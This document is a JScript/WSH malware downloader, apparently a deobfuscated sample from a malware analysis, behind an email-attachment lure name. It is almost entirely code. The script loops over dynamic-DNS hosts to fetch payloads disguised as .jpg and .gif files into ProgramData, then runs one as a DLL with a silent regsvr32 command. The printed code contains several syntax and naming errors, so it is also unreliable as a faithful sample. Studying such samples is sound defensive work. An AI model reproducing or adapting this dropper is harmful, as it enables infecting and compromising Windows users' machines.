Anexo_Email_Visualizar.JPG

```
var   var_UserName ;
var   var_path_used;
var   var_ScriptFullName;
var   wshNetwork;
var   user_Agent_String;
var   winHttpRequest;

wshNetwork = WScript.CreateObject("WScript.Network");
winHttpRequest  = "WinHttp.WinHttpRequequest.5.1";

User_Agent_String  = "Mozilla/4.0 + "compatible; MSIE 7.0; Windows NT 6.0; SLCC1)";

var_UserName = WshNetwork.UserName;

var_path_used = "C:\\ProgramData\\" + wshNetwork.UserName;
//  "C:\\ProgramData\\UserName” => example : "C:\\ProgramData\\DardiM”

var_ScriptFullName = WScript.ScriptFullName;

object_fso = WScript.CreateObject("Scripting.FileSystemObject");

if(object_fso.FileExists("C:\\ProgramData\\auidxx60.log")){
        if((var_ScriptFullName != "C:\\ProgramData\\system.wsf")){
                WScript.Quit(0);
   }
}

if(! (object_fso.FolderExists(var_path_used))){
   object_fso.CreateFolder(var_path_used);
}

object_text_file = object_fso.OpenTextFile( var_path_used + "\\r2.log" , 8,true,false);
object_text_file.WriteLine(var_ScriptFullName);
object_text_file.Close();

if((var_ScriptFullName != var_path_used + "\\system.wsf")){
        object_text_file = object_fso.OpenTextFile(var_path_used + "\\auid.log",8,true,false);
        object_text_file.WriteLine(var_ScriptFullName);
        object_text_file.Close();
}

object_text_file = object_fso.OpenTextFile(var_path_used + "\\auidxx60.log",8,true, false);
object_text_file.WriteLine(var_ScriptFullName);
object_text_file.Close();
```

```
for (var loop index = 0; loop_index <= 355; loop_index++){

        first_part_url =  "https://AswjleihyKkxqojr.infernew0" +   loop_index  +
        ".dynamicdns.biz/04/";

        WScript.sleep(3535);

        file_path = var_path_used+ "\\" + var_UserName+ "xmda.jpg";
        // "C:\\ProgramData\\UserName\\UserNamexmda.jpg"

        file_url = first_part_url + "?v=60&x1x2c=Lpdkqufrxxxa";

        try
        {
                if (if_file_exists_return_10_else_0( file_path ) < 7){
                        save_file_from_url_1( file_url, file_path );
                }
        }
        catch (Kkxqojr)
        {
        }
        file_path = var_path_used + "\\" + var_UserName + "xmdb.jpg";
        // "C:\\ProgramData\\UserName\\UserNamexmdb.jpg"

        file_url = first_part_url +  "?v=60&x1x2c=Plmeheiqxxxb" ;

        WScript.sleep(3535);
        try
        {
                if (if_file_exists_return_10_else_0( file_path ) < 7){
                        save_file_from_url_2_3( file_url, file_path );
                }
        }
        catch (Kkxqojr)
        {
        }

        WScript.sleep(3535);

        file_path = var_path_used + "\\" + var_UserName + "xmdc.jpg";
        // "C:\\ProgramData\\UserName\\UserNamexmdc.jpg"

        file_url = first_part_url +  "?v=60&x1x2c=Plmeheiqxxxc") ;

        try
        {
                if (if_file_exists_return_10_else_0(file_path) < 7){
                        save_file_from_url_2_3(file_url, file_path);
                }
        }
```

```
    catch (Kkxqojr)
    {
    }

    WScript.sleep(3535);

    file_path = var_path_used + "\\guildwg.gif";
    // "C:\\ProgramData\\UserName\\guildwg.gif"

    file_url = first_part_url + "?v=60&x1x2c=Hafleihtxxxx") ;

    try
    {
        if (if_file_exists_return_10_else_0(file_path) < 7){
            save_file_from_url_4(file_url,file_path) ;
        }
    }
    catch (Kkxqojr)
    {
    }

    WScript.sleep(3535);

    file_path_fake_gif = var_path_used + "\\" + var_UserName + "wg.gif”;
    // "C:\\ProgramData\\UserName\\UserNamewg.gif"

    file_url = first_part_url +  "?v=60&x1x2c=Gwlnigixxxy" ;

    try
    {
        if (if_file_exists_return_10_else_0(file_path_fake_gif) < 7){
            save_file_from_url_5(file_url,file_path_fake_gif);
        }
    }
    catch (Kkxqojr)
    {
    }

    file_path = var_path_used + "\\" + var_UserName + "wg.gif";
    WScript.sleep(3535);
    WScript.sleep(3535);

    if (if_file_exists_return_10_else_0(file_path_fake_gif) > 2){

        try
        {
            object_ActiveX = new ActiveXObject("WScript.Shell");
            object_ActiveX.run("cmd /c start regsvr32.exe /s " + file_path_fake_gif , 0,
true);
// file_path here => "c:\ProgramData\UserName\UserNamewg.gif" : DLL UPX compressed
            WScript.Quit(0);
        }
```

```
                catch (Kkxqojr)
                {
                }
        }

        WScript.sleep(3535);

} // end of Loop FOR

//********* functions *********

function ResponseBody _to_file_using_Adobe_stream(object_http.ResponseBody, file_path){
 var object_Adobe_stream;

    try
    {
                object_Adobe_stream = WScript.CreateObject( "ADODB.Stream");
                object_Adobe_stream.Type = 1;
                object_Adobe_stream.Open();
                object_Adobe_stream.Write(object_http.ResponseBody);
                object_Adobe_stream.SaveToFile(file_path, 2);
                 // 2: Overwrites the file with the data from the currently open Stream object, if the file already exists
    }
    catch (Kkxqojr)
    {
    }
 object_Adobe_stream = null;
}
function save_file_from_url_1(file_url, file_path){
  var object_http;

  try
  {
        object_http = WScript.CreateObject(winHttpRequest);
        object_http.settimeouts(34871, 34566, 34871, 32876);
        object_http.Option(0) = user_Agent_String;
        object_http.Option(4) = 13056;  // 13056 : ignore all error
        object_http.Option(6) = true;
        object_http.Option(12) = true;
        object_http.Open("GET", file_url, false);
        object_http.Send("");

        if((object_http.Status == 200)){
                save_file_from_url_1 = object_http.ResponseBody;
                try
                {
                 ResponseBody _to_file_using_Adobe_stream(object_http.ResponseBody,file_path);
                }
                catch (Kkxqojr)
                {
                    }
   }
  }
  catch (Kkxqojr)
  {
  }
 object_http = null;

}


function save_file_from_url_2_3(file_url, file_path){
var object_http;

  try
  {
            object_http = WScript.CreateObject(winHttpRequest );
            object_http.settimeouts(34871, 34567, 34871, 32876);
            object_http.Option(0) = user_Agent_String;
            object_http.Option(4) = 13056; // 13056 : ignore all error
            object_http.Option(6) = true;
            object_http.Option(12) = true;
            object_http.Open("GET", file_url, false);
            object_http.Send("");
            if((object_http.Status == 200)){
                    save_file_from_url_1 = object_http.ResponseBody;
                    try
                    {
                    ResponseBody _to_file_using_Adobe_stream(object_http.ResponseBody,file_path);
                    }
                    catch (Kkxqojr)
                    {
                    }
            }
   }
  catch (Kkxqojr)
  {

  }
 object_http = null;

}
```

```
function save_file_from_url_4(file_url, file_path){
  var object_http;

  try
  {
            object_http = WScript.CreateObject(winHttpRequest );
            object_http.settimeouts(34871, 34568, 34871, 32876);
            object_http.Option(0) = user_Agent_String;
            object_http.Option(4) = 13056; // 13056 : ignore all error
            object_http.Option(6) = true;
            object_http.Option(12) = true;
            object_http.Open("GET", file_url, false);
            object_http.Send("");
            if((object_http.Status == 200)){
                        save_file_from_url_1 = object_http.ResponseBody;
                        try
                        {
                        ResponseBody _to_file_using_Adobe_stream(object_http.ResponseBody,file_path);
                        }
                        catch (Kkxqojr)
                        {
                        }
            }
  }
  catch (Kkxqojr)
  {
  }
 object_http = null;

}
```

```
function save_file_from_url_5(file_url, file_path){
  var object_http;

  try
  {
            object_http = WScript.CreateObject(winHttpRequest);
            object_http.settimeouts(34871, 34569, 34871, 32876);
            object_http.Option(0) = user_Agent_String;
            object_http.Option(4) = 13056;
            object_http.Option(6) = true;
            object_http.Option(12) = true;
            object_http.Open("GET", file_url, false);
            object_http.Send("");
            if((object_http.Status == 0)){
                        save_file_from_url_1 = object_http.ResponseBody;
                        try
                        {
                        ResponseBody _to_file_using_Adobe_stream(object_http.ResponseBody,file_path);
                        }
                        catch (Kkxqojr)
                        {
                        }
                        }
  }
  catch (Kkxqojr)
  {
  }
 object_http = null;
}


function if_file_exists_return_10_else_0(file_path)
{
var return_10_or_0;
try
 {
             return_10_or_0 = 0;
             if(object_fso.FileExists(file_path)){
                        return_10_or_0 = 10;
             }
 }
 catch (Kkxqojr)
 {
 }
            return return_10_or_0;
}
//********* end of functions *********
```